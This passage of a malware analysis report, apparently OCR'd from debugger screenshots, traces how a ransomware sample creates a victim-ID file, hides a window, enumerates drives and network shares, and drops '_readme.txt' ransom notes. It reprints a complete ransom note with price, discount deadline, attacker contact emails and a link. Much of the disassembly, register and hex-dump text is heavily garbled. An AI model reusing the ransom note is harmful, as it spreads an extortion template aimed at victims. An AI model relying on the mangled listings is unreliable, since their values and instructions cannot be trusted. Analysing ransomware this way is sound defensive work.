3: [esp+8] 00174141 <wininet_dump.EntryPoint>
4: [esp+C] 000000DA

.TEXT:0016B1BA wininet_dump.exe: $1B1BA #1B1BA

Figure 90

The malicious process is looking for a file called “PersonalID.txt” that doesn’t exist at this time:
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68 CO FE 24 00 wi ‘ret duwp "4FECO X875W_C1l 0 x875W_C0 0O x87SW_ES O

68 88 FE 24 00 L i FE88 24FESS8: X87SW_SF 0 x875wW_P 0 x875W_U o

C6 45 FC 0L mov. yte ptr ss: [Eb 4,1 =

E8 53 48 01 00 EB11 N'|F|'|F|E( _dump. 170FDD fopen w

St Defait (stdcal) ~ |[5_#] 0 uniock

e 1: [esp] O02Z4FESE L'C:\\SysTemiD\\PersonaliD.tx
wininet_dump. 00170FDD 2: [esp+4] DO24FECO wininet_dump. 0024FECO

2: [esp+s8] 02012068

4: [esp+C]_ ODAFES78 &L"DB37D43047E4C"

. text:0015C785 wininet_dump.exe: $C785 #C785

L"C:\\SystemID\\Personalip.txt"
wininet_dump.0024FECO

ump J Dump J Dump J Dump J Dump = Wat x=] Locals 7 stru
oump1  @oump2  @4pump3  Woump4  @WDumps @ watchi  lxelLlocal ) struct e

Address | Hex | AscII I 7 :;EAFE aj
0024FECO[[72] 00 00 00[77 00 00 0O[0A 0D 0O OD[OA 00 00 OD|H...W..eueeuenn. | o

Figure 91

&L7DE3TD43047E4C”

ArrnABIn | Binrirar Aarlarieas dst AR inrneas daroio

CreateDirectoryW is utilized to create a directory called “C:\SystemID”:

0015C944 push 0 XB7SW_SF 0 x875wW_P 0 x875W_U o
0015C346 push wininet_dump. 24FE70 24FE7O: oo .
€all dword ptr ds:[<&CreateDirectoryw>] v =
it 5 | Defeult (stdcall ~ |5 [+ unlock
1: [es| D024FE70 L"C: stemID"
dword ptr [0021C1D4 <wininet_dump.&CreateDirectoryw>]=<kernel32.CreateDirectoryw> N Eesglﬂ 00000000 Sy
3: [esp+8] 02D12D65
e 4: [esp+C] ODAFES78 &L“"D837D43047E4C"
.text:0015C94B wininet_dump. exe: $CI4B #CI4B
[ 0024FE70 | L"C: stemID"
@oump1 | @oump2  @pump3  @Whoumps  @oumps @ watchi  xellocals ) Struct ODAFE3AC mm‘ N

Figure 92

The ransomware creates the file “C:\SystemID\PersonalID.txt” and writes the victim ID to it:

56 push esi XB7SW_SF 0 XB7SW_P 0  xX87sW_U o

50 push eax:L"L =

E8 10 5F 01 00 Clﬂ] w]mnet dump. 17 28FD| fputws

== 5 |Defaut Gtdcal) =[5 2] unlods

1: [esp] 02CCEOO8 L"UFHWN7DJWCKJEEUgBIHISZLArwut
2: [esp+4] 0D0D25A060 wininet_dump. 0025A060

2: [esp+8] 02D12D68

4: [espt+C] ODAFES78 &L"DB37D43047E4C”

wininet_dump. 0017 28FD

. text:D015COES wininet_dump. exe: $CIES #CIES

L"uFHwN7bjwCkJEeUg8IHISzLqrwudidHBXSPZHDTL'

Woump!  @oump2  WWoump3  WWoump4  WWoumps @ watch1  bellocals 4 Stuct wininet. dimp. 0025080

Hex ASCII
- - &L"D837D43047EAC"
75 00 46 00|48 00 OO[4E 00 37 00[62 00 6A 00|M.F.H.W.N.7.b.J. -
00 43 00|68 00 4A 00|45 00 65 00|55 00 67 00|w.C.k.J.E.e.U.q. ﬁtgwsg;ggﬂgw“r'd“"‘“”"‘:““r'd“"'o'
38 00 00 4% 00 Z 8.J.H.I.S5.Z.L.Q. i
72 00 00 G4 00|65 DO €4 00|45 00 38 00| r.w.u.d.1.d.H. 8.
58 00 73 00|50 00 7A 00|48 00 44 00|74 00 31 00|x.siP.z.HD.T.1

Figure 93

It’s very uncommon that the malware searches the system for a file called “I:\5d2860c89d774.jpg” (0xC0000000
= GENERIC_READ | GENERIC_WRITE, 0x1 = FILE_SHARE_READ, 0x3 = OPEN_EXISTING and
0x80 = FILE_ATTRIBUTE_NORMAL):

. 6A 00 push 0 xB7Tagword FFFF
2 gi gg 00 00 00 PUSE 80 XKB7TW_O 3 (Empty) x87TW_1 3 (Empty)
. 55 p:zh a XB7TW_2 3 (Empty) x87Tw_3 3 (Empty)
. S Seh + x87TW_4 3 (Empty) x87TW_5 3 (Empty)
. 68 00 00 00 CO push CO00000D XB7TTW.6 3 (Empty)  X87TW_7 3 (Empty)
. 28 F9 mov edi,ecx
. 89 5D 90 mov dword ptr ss:[febp-7ol,ebx [ebp-7C x87statusword 0000
. 53 push ebx ebx:L"1 | XBYSW_B O X87SW.C3 0 X87SW.CZ O
. 89 7D DC mov dword ptr ss: [ahp 24, edi X87SW_C1 0 X87SW_CO O X87SW_ES O
. €7 45 & 00 00 00 00 mov dword ptr ss: [e 4,0 XS7SW_SF 0 X87SW_F 0 X87SW_U O
| 00161208 C7 45 FC 00 00 00 00 mov_dword ptr ss: affl, 0 =
E—e FF 15 DC_CO 21 00 call dword ptr ds: [q&:reateFﬂew:]
. e — Default (stdcall) -
1: [esp] 002543A8 L"I:\\5d2860c89d77
dword ptr [0021CODC <wininet_dump.&Createrilews]=<kernel32.CreateFilen> 2: Eesgln DT
3: [esp+8] 00000001
4: esp+C] 00000000
. TEXT:0016120F wininet_dump. exe: $1120F #1120F - LespiC]
) 002543A8 |[L"I:\\5d2860c89d774.jpg"
@Woumpi  @Ypump2  @Woumpz  Whpumpd  WhDumps @ watch1  x-llocals & Stuct R el W i
TS ASCIT = 00000001
ZB 75 Cp 02(60 17 CE 02[FE FE EE FE[EE FE EE FE|¥zI. .I.7pipipip 00000003
02CCE018|EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ibibipipibipibib Fatmal
E EE EE F E EE FE EE FE ﬁbﬁbﬁbfbibﬁbfbfb

Figure 94

LoadCursorW is used to load the standard arrow resource from the executable (0x7F00 = IDC_ARROW):

68 00 7F 00 00 ush 7FO0 o e
6A 00 gush 0 L pty) (5 3 (Empty)
€7 45 DO 30 00 00 00 mov dword ptr ss: 30:'0" X87TW_6 3 (Empty)  x87TW_7 3 (Empty)
C7 45 D4 03 00 00 00 mov dword ptr ss:
€7 45 D8 EO BA 16 00 mov dword ptr ss: ninet_dump. 16BAED x875tatusword 0000
C7 45 DC 00 00 00 00 mov dword ptr ss:[ebu—u] 0 XK87SW_B 0 X87SW_C3 0 X87SW.C2 O
C7 45 EO 00 00 00 00 mov dword ptr ss:febp-20];0 X87TSW_C1 0 X87SW_CO O X87SW_ES O
89 40 E4 mov dword ptr ss:[ebu LC] ecx XS7TSW_SF 0 X87SW_P O X87SW_U O
C7 45 E8 00 00 00 00 mov_dword ptr ss:febp-1s -
FF 15 68 €3 21 00 €all dword ptr d [<&Loadcursurw>] v
== e B Default (stdcall) &
— it
dword ptr [0021C368 <wininet_dump.&LoadCursork>]=<user32. LoadCursorw> 2: Espl.,] 00007F00
3: [esp+8] 00000030
— a: [esp+C] 00000003
. TEXT:0016BA4A wininet_dump. exe: $1BA4A #1BA4A -
@Woump1 | @Yoump2  Wpump3  WMoumps  @oumps @ watchi  Ix-llocals 2 Stuct mm‘

Figure 95

The binary registers a window class using the RegisterClassExW routine:
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®| 0016BAS 6 50 push eax
. C7 45 FO 06 00 00 00 mov dword ptr s
. €7 45 F4 00 00 0O 00 mov dword ptr s
. C7 45 F8 E4 3E 25 00 mov dword ptr =
. €7 45 FC_00 00 00 00 mov_dword ptr ss:febp-4J,
Eg—>e FF 15 74 €3 21 00 €all dword ptr ds:[<&RegisterClassExw-]
) e e

[word F

xB875tatusword 0000

XB7SW_B XB7SW.C3 ©
XB7SW_CL D XB7SW.CO O
XB7SW_SF O XB7SW_P O

XB7SW_C2Z ©
XB7SW_ES 0O
XB7SW_U O

Default (stdcall) - [ unlock

. text:0016BA73 wininet_dump.exe: S1BA73 #1BA73

dword ptr [0021C374 <wininet_dump.&RegisTerClassEXW>]=<user3z2.Registerclassexws

Wooumpi  §Wpump2  §WDump3 W Dump4

WWoumps @ watch1 | I-llocals & Struct

Figure 96

Address | Hex

ODAFE4ED|30 00 00 00|03 00 00 00|EQ_BA 16 00|00
ODAFE4F0| 00 00 00 00|00 00 15 00(00 00 00 000
00AFES00| 06 00 00 00|00 00 00 00|E4 2E 25 000

| AscIz |
00 00 00| 0 .

3 00 01 00
0 00 00 0O

1: [esp] ODAFE4ED

2: [esp+d] 00000030

3: [esp+8] 00000003

4: [esp+C] 0016BAED wininet_dump.0016BAEQ

wininet_dump. 0016BAED

wininat doumn ANITARAN

CreateWindowExW is utilized to create a new window called “LPCWSTRszTitle” (0xCF0000
= WS_OVERLAPPEDWINDOW and 0x80000000 = CW_USEDEFAULT):

80
00
00
00

26 00
21 00

push
push
push
push
push
push
push
pus|

push
push

esi

=)

ecx

oo

o
80000000

80000000

CFO000

et_dump. 253EC4
et_dump. 25 3EE4

esizal”

253EC4:
253EE4:

X87r7 00000000000000000000 ST7 Empty 0.00000000

x87Tagword FFFF

X87TW_0 3 (Empty) XB7TW_1 3 (Empty)
X87TW_2 3 (Empty) XB7TW_3 3 (Empty)
X87TW_4 3 (Empty) X87TW_5 3 (Empty)
X87TW_6 3 (Empty) xB7TW_7 3 (Empty)

x875tatuswWord 0000

X87SW_B 0 x87SW_C3 O
X87SW_C1 O x87SW_CO O
X87SW_SF 0 x87SW_P O

X87SW_C2 O
X87SW_ES O
X87SW_U O

Defauit (stdcall) -

dword ptr [0021C364 <wininet_dump.&createni

. text:D016BAAD wininet_dump.exe: $1BAAD #1BAAD

J=<user32.CreatewindowExws>

esp+4] 00253EE4 L"LPCWSTRsZWindowClass™
esp+8] 00253EC4 L"LPCWSTRsZTitle"
: [esp+C]_00CF0000

Figure 97

4 00000000

@Woump1  @oump2  Wpump3  Woump4  WHoumps @ watchi  ivellocals P Struct ]

O0AFE4ES | D0253EC4 | L"LPCWSTRsSZTitle"
= DOCFOO00
gg ;E gg :;; gg f;s gg e DODAFE4FO | 80000000
00 61 00|23 00 73 00 Mo DOAFE4F 4 | 00000000
: : ODAFE4FS | 80000000
20 75 00|74 00 & 00 O0AFEAFC | 50000000
00 00 00|43 00 73 00 i D0AFES00 | 00000000
00 00 00|2D 00 2D 00 DDAFES04 | 00000000
00253F54|65 0D 74 00|52 00 &5 0O O0DAFESO8 | 00150000 | wininet_dump. 00150000

bbb e b e R iRt Rt o0

The window created earlier is hided by calling the ShowWindow routine (0x0 = SW_HIDE):

00
15 70 €3 21 00

dword ptr [D021C370 <wininet_dump.&showwindow-]=<user3z. Showwindow>

. text:D016BABE wininet_dump. exe:$1BABE #1BABE

push 0
push e
call

si
ord’ pEr dS: [ <&Showwi ndow>]

X87SW_SF 0 XB7SW_P 1

v
Default (stdcall)

XB7SW_U O
i [esp] 00BOOD3D4

~ |[5 ][] unod
[esp+4] 00000000

[esp+8] ODAFES78 &L"DS837D43047E4C"
: [esp+C]_00168348 wininet_dump.00168348

Woumpi  gWpump2  WWDump3 W4 Dump 4

Figure 98

@Woumps @ watch1 | Ie-llocals & Struct

00BQ
00AFESOC | 00000000

030 4 ‘

We need to analyze the window procedure defined in figure 96 (sub_16BAEO).

The malware uses the ntdllDefWindowProcW API in order to call the default window procedure whenever a
particular message needs to be processed (0x24 = WM_GETMINMAXINFO, 0x81 = WM_NCCREATE, 0x83

= WM_NCCALCSIZE and 0x1 =

WM_CREATE):
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FF 75 14 push dword ptr ss:[febp+14] XB7SW_B O XB7SW.C3 0 xB7SWC2 O
FF 75 10 push dword ptr ss:[febp+10] XB7SW_CL 0 xB75W.CO 0O xB7SW_ES 0
51 push ecx XB7SW_SF 0 xB75W_P 1 xB7SW.U 0
FF 75 08 push dword ptr Eebp+c] -
FF 15 58 €3 21 00 call dword ptr <&Ntd11DefWindowProc_w>] v
5 | Default (stacal) = |[5_2][7 unec
1: [esp] 00B003D+
‘dword ptr [DD21C358 <wininet_dump.&Ntdl1DErWindowProc_w-]=<ntdl1.Ntd] IDerWindowProc_w> 2: {Esglﬂ 00000024
3: [esp+d] 000D00DOD
i 4: [esp+C] ODAFEDA4
. TEXT:0016BBEA wininet_dump.exe: $1B88BA #1EBBBA -
@ D0BOO3D4
@4 Dump 1 84 Dump 2 84 Dump 3 ¥4 Dump 4 @4 Dump 5 @ Watch 1 [*=] Locals 4;, Struct '0DAFDS5OC | 00000024
add DDAFD5 10
aoress Hex - Ao = ~ | a8a%B313  GaRpecas
016BBE0 FF 75 14 push dword ptr febp+14] XB7SW_B 0 x87SW_C3 0 X87SWCZ 0
e push dword ptr Eebp+10) XB7SW_C1 0 x87SW_CO 0 X87SW_ES 0
push ecx XB7SW_SF 0 x87SW_P 1 X87SW_U 0
push dword ptr ss:[febp+&])
€all dword ptr ds:[<&ntdl1DefwindowProc_ws] v
e S SRS e i 5 |Default (strcal) - [ Unlock
[esp] 00BOO3D4

dword ptr [0021C358 <wininet_dump.&Ntdl1DerWindowProC_W>1=<ntd11.Ntdl1DerWindowProc_w> [espra] 00000081
[esp+8] 00000000

: [esp+C]_O0AFE098

. text:0D016BBBA wininet_dump. exe: $1BBBA #1BBBA

o) ‘00BOO3D4
@oump1  @oump2  @pump3  @oumps  @pumps @9 watchi  Bellecals o Stuct DOAFDIES | DODDODSL
Address | Hex |asciz | 2 H DDAFD4EC | DOAFED9S

Tpush dword ptr ss:febp+14] X87SW_B O Xx87SW.C3 0 x875W.C2 0O
push dword ptr ss:|febp+10] X87SW_C1 0 x87SW_CO 0 x87SW_ES 0

push ecx X87SW_SF O X87SW_P 1 X87SW.U O
FF 75 08 push dword ptr ss:[[ebp+al] >
[<&Ntd11DefwindowProc_w>]

call dword ptr d v 2
. Soe oo e n oS , | Defeult (stdcal) ~|[5 ] unloc
s 1: 00BOO3D4
dword pTr [0021C358 <wininet_dump.&Ntd11D&TWi ndowProc_ws]=<ntd11. NTd11Detwi ndowProc_Ws o5 ESZBL] DDODNES
3: [esp+8] 00000000
et 4: [esp+C] DODAFE084
.TexT:0016BEBBA wininet_dump.exe: $1BBBA #1BEBA
[ 00BOO3D4
@oump1 | @ypump2  WHDump3  @Woump4  WWoumps @ wathi  Illocs Y Stuct TR
IAII] I = ” DOAFD4ES
= = == ¥
B F 4 push dword ptr ss:[febp+14] X87SW_B 0O XxB7SW_C3 0 x3875wW._C2 O
3 push dword ptr ss:[febp+10] X87SW_C1 0 X87SW_CO 0O X87SW_ES 0O
push ecx X87SW_SF 0 XB7SW_P 1 X87SW_U o
push dword ptr ss:[ebp-s] = i
call dword ptr TDefWi ndowProc_ws] v
e e T3 | pefault (stcal) -
1: [esp] 00BOO3D4

dword ptr [0021C358 <wininet_dump.&Ntd11DerwindowProc_W>]=<ntdll.Ntd11DerwindowProc W esp+a] 00000001
esp+8] 00000000

4: [esp+C]_00AFE098

.text:0016BBBA wininet_dump.exe: $1BBBA #1BBBA
@ 00BOO3D4
Woump1  Wpump2  @MDump3  UDump4  WWDump5 @ watch1  Ir-llocals ¥ Struct e el e
Address | Hex ; X ! [EESS I ~| Soarpsce | noareosa

Figure 99

GetLogicalDrives is used to retrieve a bitmask that represents the available disk drives:

IEE——+ FF 15 60 €1 21 00 I'call dword ptr dsiT<aGetLoaicalprives=1

Figure 100

The ransomware forces the system not to display the critical-error message box and sending these errors to the
calling process (0x1 = SEM_FAILCRITICALERRORS):

64 01 push 1
FF 15 E4 €1 21 00 call dword ptr ds:[<&seterrormode-]

=
Defait (stdcal) ~ [5_[#] ] unlock
1: [esp] D0DO00DOL
2: [esp+4] 02D12D68
3: [esp+8] ODAFES7S
4: [esp+C] 02CD4B10 &"ntuser.dat|ntuser.dat.LOG

dword ptr [0021C1E4 <wininet_dump.&SetErrorModer]=<kernel3z,SetErrormMode>

. text:D0160AE2 wininet_dump.exe:$10AE2 #10AEZ 5

. @@ - @e. - @@~ .l ae. - Moo oo . i RS 00000001 |

Figure 101

The file extracts the type of the drives by calling the GetDriveTypeA API and compares it with 2
(DRIVE_REMOVABLE), 3 (DRIVE_FIXED), 4 (DRIVE_REMOTE) and 6 (DRIVE_RAMDISK

push eax
c

0
FF 15 AB €O 21 00

: : dword ptr fs: [<aGetnriveTypea>] v
N N Defauit (stdcal) @
L I DOAFE4DO "C:iA\"
Gword ptr [0021COAB awininet_dump.&GetDriveTypeAs J=<Kernel3z, GetDriveTypeis T T
3: [esp+8] ODAFESTE
. 4: [esp+C] 02CD4810 &’ntuser.dat|ntuser.dat.LOG
.text: 00160818 wininet_dump.exe: S10B18 #10818
I e e e e e e e eeral = e IEEEEEE 004FE4D0 | "C: N\
.text:@0168818 call  ds:GetDriveTypeA
.text:0@168821 cmp eax, 2
.text:00168824 jb short loc_160888

.text:00168B26 cmp eax, 4
.text:88168629 jbe short loc_168B38
]

A J
.text:80168B28 cmp eax, 6
.text:8@168B2E jnz short loc_16@B8B

Figure 102

Two new threads are created using the CreateThread function:
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56 push esi
6A 00 push 0 x87statusword 0020

FF 75 08 push dword ptr ss:[[ebp+s] XB7SW_E O XBFSW._C3 0 XB7SW.CZ 0

68 30 F1 16 00 push wininet_dump.16F130 XB75W_C1 0 xB75W_CO 0O XxB75W_ES O

6A 00 push 0 XB7SW_SF 0 XB7SW_P 1 XB7SW_U O

GA_ 00 push 0 =

FF 15 74 €1 21 00 €all dword ptr ds:[<&createThread>] v |

== T 5 | Defaut stdcal) = |[5_2] [ unlock

1: [esp] 00000000

2: [esp+d] 00000000

3: [esp+8] 0016F130 wininet_dump.0016F130
4:

dword ptr [0021C174 <wininet_dump.&CreateThread>]=<kernel3z.CreateThread>

[esp+C]_on2cFcsco

.TexXT:0016FA25 wininet_dump. exe: §1FAZS #1FAZS

@oumpi  Wypump2 Wypump3s  Woumps  Woumps @ watch1  I-llocas | Y stuct
Address |Hex | ascII ]

O024FED4 |20 00 00 00|26 23 31 36|30 3B 00 00(2F 0 R R e

0024FEE4(5C 2F 00 00|45 72 6F |72 20 65 6E VP

Figure 103

00000000
DOAFE504 | 02D2EEDS

. 68 30 92 27 00 push wininet_dump. 279230
“ 6A 00 push o x87statusword 0020
. FE 75 08 push dword ptr ss:[ebp+a] X87SW_B 0 xB7SW_C3 0 xB7SW_C2
. 68 80 FD 16 00 push wininet_dump.16FD80 X87SW_C1 0 XxB7SW_CO O XB7SW_ES 0O
. 6A 00 push o X87SW_SF 0 XxB7SW_P 1 Xx87SW_U 0O
. 6A 00 push 0 >
EIP pus FF 15 74 €1 21 00 €all dword ptr ds:[<&CreateThread>] v =
. = fiEnasnss 5 |Defeult (stdcal) ~[5_E&][J unlock
1: [esp] 00000000
dword ptr [0021C174 <wininet_dump.4&CreateThread>]=<kernel32.Createrhread> 2: {esgl.,] 00000000
3: [esp+8] 0016FD80 wininet_dump.0016FDS0
s 4: [esp+C] 00279238 wininet_dump.00279238
. TeXt:0016FDD6 wininet_dump. exe: $1FDD6 #1FDD& C —— 3

Woump1  @ypump2 W4pump3  WWoump4  EWDumps @ watth1  Ix-llocals ¥ Struct
Address | Hex | AsCIT
00279238 |D4] 03 BO 00|00 00 00 00[00 00 00 00|00 00 00 oo|f.

8|00 00 00 O 0 00 00 00 00 00 .

Figure 104

ODAFE508| 00279230 | wininet_dump. 00279230

The file retrieves a message from the message queue by calling the GetMessageW routine, translates virtual-key
messages into character messages using TranslateMessage, and finally dispatches a message to a window

procedure using DispatchMessageW:

. push 0 XB7SW_B O XB7SW.C3 O xBISWC2 O
. push 0 XB7SW_C1 O XB7SW CO O XBISW. ES O
. push o XB7SW_SF O XB7SW_P 1 xB7SW.U O
. push eax :
EIP pu 1 call esi esiiGet w =
. = i e s R 5 |Default Gtdcal) ~ [5_[#][ unlock

1: [esp] ODAFEG30

2: [esp+4] 00000000
2: [esp+8] 00000000
4

esi=<user3z.GetMessagew> (75D08240)

[esp+C]_00000000

.text: 00168483 wininet_dump.exe: $1B4B3 #1B4B3
) DODAFEGI0
@Woumpt  Yoump2  @Woump3  WWDump4  @Woumps @ wawhi  lleals & stuct W ‘
D0AFES10
N — ! o Erivae

Figure 105

Thread activity — sub_16FD80

The malware enumerates all resources on the network via a function call to WNetOpenEnumW (0x2 =
RESOURCE_GLOBALNET):

| D0160C0D 50 push eax ¥ 3 XSO E L MY ) U S UL INPEVY,
o o01s0co1 51 push ecx
® | oo160C02Z 6A 00 push 0 x87statusword 0000
|| oo1s0c04 6A 00 push 0 XB7SW_C3 O XBTSW_CZ 0O
®| 00160C06 6A 02 push z XB7SW_CO O XB7SW_ES O
e 8B F2 mov esi,edx XB7SW_P 0 XB7SW_U o
* €7 44 24 28 FF FF FF FF mov_dword ptr ss:[[esp+28],FFFEFFFF RO EIVREY
EE—e FF 15 CB C2 21 00 call dword ptr ds:[<&wNetOpenEnumws>] v —
. 5  |Default Gtdcal) ~|[5 1] (] unods
= 1: [esp] 2
dword ptr [0021C2C8 <wininet_dump. J=<mpr. 2: [espr4] 0000000D
3: [esp+8] 00000000
e 4: [esp+C] 00000000
.Text:00160C12 wininet_dump.exe:$10C12 #10C12 -

4 Dump 4 Dump 2 4 Dump 3 J Dump 4 JDump5 O watcth1  brellocals & Struct
oump1 g P L] 2] & wiatch x=I Local ?

Address [Hex | Asc1z | "
057AF738 00/ 00 00 unlnu 00 00 unlnu 00 00 nu‘nn 00 00 nul ................ | O57AF71C | 057AF738

Figure 106

WNetEnumResourceW is utilized to further enumerate the network resources:

50 push eax 2 FrECe 2 x875tatusword 0000
53 push ebx X87SW_B O XB7SW.C3 O XxB7SW.C2 O

8D 44 24 1C Tea eax,dword ptr ss:[[esp+ic] X87SW_C1 0 xB7SW_CO O XB7SW_ES O

50 push eax X37SW_SF 0 XB7SW_P O X87SW_U 0O

FF 74 24 24 push dword ptr s=:[fesp+24] BpsEpE, o nmc

FF 15 CC C2 21 00 call dword ptr ds:[<@WNetEnumResourcew>] v =

e 5 |Defeult (stdcal) ~|[5_[#] [ unledt

— 1: [esp] 02CD7020

dword ptr [0021C2CC <wininet_dump.&WNETENUMRESOUr CEW>]=<mpr.WNETENUMR S0Lr Cew> 2: [esp+4] 057AF734
3:
a:

[esp+B] 02055578
[esp+C] 0s7AF730

. TEXT:00160C63 wininet_dump. exe:$10C63 #10C63

& 02CD7020
@Woump1  @pump2  @Wouwmp3  WhDump4  WMDump5s @ Watchi  I-llocals g Struct DETARTIA | 057AFTI4
|AII] | 057AF718 02D55578

rnn[ff-sm tlf\xnn an_nolon oo oo oolon oo oo oolon oo oo ool | O57AFT1C| O57AF730
ress | Hex ASCII |

0D DO 0D D006 00 0O 00[0D2 00 00 BOD
00 00 00 00

00 00 0D 00|06 00 00 00|02 00 00 8O
00 00 00 00

00 00 0D 00|06 00 00 00|02 0D 00 8O
It 00 00 00 00

00 DD 0D 00|06 00 DO 00|02 0D 00 8O

0|22 24 ps 02|00 00 00 00|EC 93 D5 02
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Figure 107

The message DBT_DEVICEREMOVECOMPLETE (“A device or piece of media has been removed”) is sent

to the window created earlier, and its procedure will handle it:

6A 00 push 0 x87Statusword 0000

6A 00 push 0 X87SW_B 0O x87SW_C3 0 x87sw_C2z2 0

68 04 BO 00 00 push s004 X87SW_C1 0 x87SW_C0O 0 x87SW_ES 0O

FF 36 push dword ptr ds:[esi] X87SW_SF 0O X87SW_P 0 X87SW_U o

C6 46 04 00 mov_byte ptr ds:[esi+4],0 OVSE Y - =

FF 15 B4 €3 21 00 call dword ptr ds:[<&sendMessagew-] v

T e Default (stdcall) - [ unloc

1: [esp] 00B0OO3D4

2: [esp+4] D000B004
3: [esp+s8] 00000000
4: [esp+C] 00000000

dword ptr [0021C384 <wininet_dump.&sendMessagew-]=<user32.sendvessagews

. text:0016FDA4 wininet_dump.exe: $1FDA4 #1FDA4

& 00BOO3D4
@oump1  @oump2  @Yoump3  Wloump4  Wpumps @) watth1  Ix-llocals 2 Stuct D57AFIDO| DODDSD0S
[Address [rex . ; : [asciz | ~ |1 057AF 93  onoacaao

Figure 108

When the window procedure receives the message, it calls the GetComputerNameW API in order to get the

NetBIOS name of the local machine:

push eax X87TSW_SF O XB7SW_P 1 xB7SW.U 0O
push esi L
€all dword ptr ds:[<&GerComputernNamew:] v
sem mmaES 5 | Defauit Gtdeal) -
1: [esp] 02CE02AD
dword ptr [0021C15C <wininet_dump.&GetComputerNamew>]=<kernel3z.GetComputer Namew> 2: Eesglal 00AFD374

3: [esp+8] D016BAED wininet_dump.0016BAED

L 4: [esp+C]_00BO03D4
. text:00168BF4 wininet_dump. exe:$1BBF4 #1BBF4

o) D2CEQZAQ
Woump1  @Wypump2 @Woump3s  @pumpa  EMoumps @ watthi  [x-lLocals ) Struct
00AFD944 | DDAFD974

Figure 109

Thread activity — sub_16F130

The ransomware creates the ransom note called “_readme.txt” in every directory that it encrypts:

0015F100 64 00 push 0 ° (EmpTy)  Xx87TW_1 3 (EmpTy)
o8 B0 euinocoo SEE B EEmp[y% X87TTW_3 3 EEmpty%
Empry X87TW_S 3 (Empty’
64 00 push 0
€7 45 FC 00 0O 00 00 mov dword ptr ss:[febp-a,0 (Empty) X87TW_7 3 (Empty)
8D 45 08 Tea eax,dword ptr ss [ebp+5]
D015F115 83 7D 1C 08 cmp dword ptr =s: xB7Statusword 0000
001 64 02 2 XB7SW_B 0 X87SW.CZ 0 X87SW.CZ O
015F118 OF 43 45 08 cmovae eax,dword ptr ss:[febp+s] [ebp+s8] X87SW_C1 O x87SW_CO 0 X87SW_ES O
0015F11 68 00 00 00 40 push 40000000 XB7SW_SF 0 x875W_P 0 x875W_U O
0 4 50 push eax eax:L"C
FF 15 DC CO 21 00 call dword ptr dsi[<&createrilews] s
s oy | pefault stical) - [5_ [£] 00 unlock
1: [esp] 02D5E2D8 L"C:\\_readme.txt"
dword ptr [0021CODC <wininet_dump.&CreateFilews]=<kernel32.Createrilews 2: Eesgl.,] 30000000 e
3: [esprd] 00000002
Al 4: [esp+C] 00000000
. TeXT:0015F125 wininet_dump.exe: §F125 #F125 -

D2D5E2D8 | L"C:\\_readme.Txt™
40000000

4 Dump 4 Dump 2 4 Dump 3 4 Dump 4 uDump5 @ watchi  bellocals 7 Struct
Woump1 gy L] ] L] & watch =l Local P

0A 00[73 00 75 00
68 00|65 00 6C 00
6D 00|61 00 63 00

Hex
20 00 75 00[73 00 3A 00

70 0O 40 00|61 00 69 O

Figure 110

The ransom note is populated by calling the WriteFile function, as shown in figure 111:

push eax X87SW_C1 O XB7SW_CO O XB7SW_ES O
pusn =1 X87SW_SF O XB7SW_P 0 XB7SW_U O
push edi

call dword ptr ds:[<swriteFiles]

v
5 |pefeult (stdcal) ~ [5_2][ unodk
1: [esp] DODOOSA0
2: [espt4] 02D5FC38
3: [esp+s] 00000456
4: [esp+C] O5GAFADO &L"C:\)_readme.txt™

dword ptr [D0Z1COA4 <wininet_dump.&wriTeFile>]=<kernel3z.writerile>

. text:0015F1A1 wininet_dump.exe:SF1ALl #F1A1

J Dump 4 Dump 2 4 Dump 3 4 Dump 4 4 Dump 5 & watch 1 =] Locals & struct
Woump1 gy P iy P & watch x=] Local P

Address ASCII 6| .
02D5FC38 OA 44 GF|ATTENTION!....DO &L"C:\\_readme. txT
02D5FC48 75 20 63|n't worry, you c

20 79 6F|an return all yo

o8 i tiles - A oy L"C:\\_readme. txt"
[

02DSFC78 | 6

Figure 111

our files like

An example of a ransom note is highlighted below:
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[ _readme.txt E3
1 ATTENTION!
3 Don't worry, you can return all your files!
Pl

All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unigque key.
The only method of recovering files is to purchase decrypt tool and unique key for you.

This software will decrypt all your encrypted files.

What guarantees you have?

You can send one of your encrypted file from your PC and we decrypt it for free.

But we can decrypt only 1 file for free. File must not contain valuable information.

You can get and look video overview decrypt tool:

https://we.tl/c-1JwFK5rT39

Price of private key and decrypt software is $980.

o

&

[ER T

13 Discount 50% available if you contact us first 72 hours, that's price for you is £490.
14 Please note that you'll never restore your data without payment.

15 Check your e-mail "Spam" or "Junk" folder if you don't get answer more than € hours.
le

18 To get this software you need write on our e-mail:
manager@mailtemp.ch

Reserve e-mail address to contact us:
supporcthelp@airmail.cc

Your personal ID:
0336g5d743duFHWN7biwCkJEcUg8JHISzLgrwudidH8XsPzHDt1

Figure 112

The files are enumerated using the FindFirstFileW and FindNextFileW APIs:

51 push ecx ‘ XB7SW_SF O XB7SW_P 0 XB7SW_U O

50 push eax I =

FF 15 FO C1 21 00 €all dword ptr ds:[<&FindFirstFilew>] v

aShnon fE s =l 5 |Default Gtdcal) ~ 5B unlock

1: [esp] 056AFDCA

2: [espr4] 056AFBLO
3: [esp+8] 02CFCBCO
4: [esp+C]_02015E68

dword ptr [002IC1FO <wininet_dump.&FindFirstFilews]=<kernelsz.FindrFirstrilews

. text:0015FD13 wininet_dump.exe:SFD13 #FD13

[ 056AFDC4
@Woumpi  @Ypump2  @Woumpz  Whpump4  WhDumps @ wath1  x-llocals ¢ Stuct mﬂﬂ T e
. push eax - - ‘ XB7SW_SF O XB7SW_P O xB7SW U O
. push esi : -
Eg—>e 34 €1 21 00 11 dword ptr <&FindNextFilew->] v
. == T D, EUEm 5 | Defauit stdcal) -
1: 02D15E98
dword ptr [0021C134 awininet_dump.&FindNextFilews]=<kernel3z. FindNextFilens T T
3: [esp+8] 02CFCBCO
e, 4: [esp+C] 02D15E68
. TeXT:0016005A wininet_dump.exe:$1005A #1005A -
& 02D15E98
WWoump:  @pump2  @Woump3  @pump4  @Upumps @ watcht | Irellocals g Struct DS CAPBOD | D5GAFELD

Figure 113

The directories mentioned under figure 89 will not be encrypted. The file extension is extracted by calling the

PathFindExtensionW routine:

THIB 50 push eax i

. ') FF 15 48 €3 21 00 €all dword ptr ds:[<&PathFindExtensionw>] v

e SEn g Default (stdcall) o

L 1: [esp] 02D15E98 L"C:\\706d7 dbZ M. "\101
dword ptr [0021C348 <wininet_dump.&PathFindExtensionw>]=<shlwapi.PathFindExtension> 2: Eesglu T A

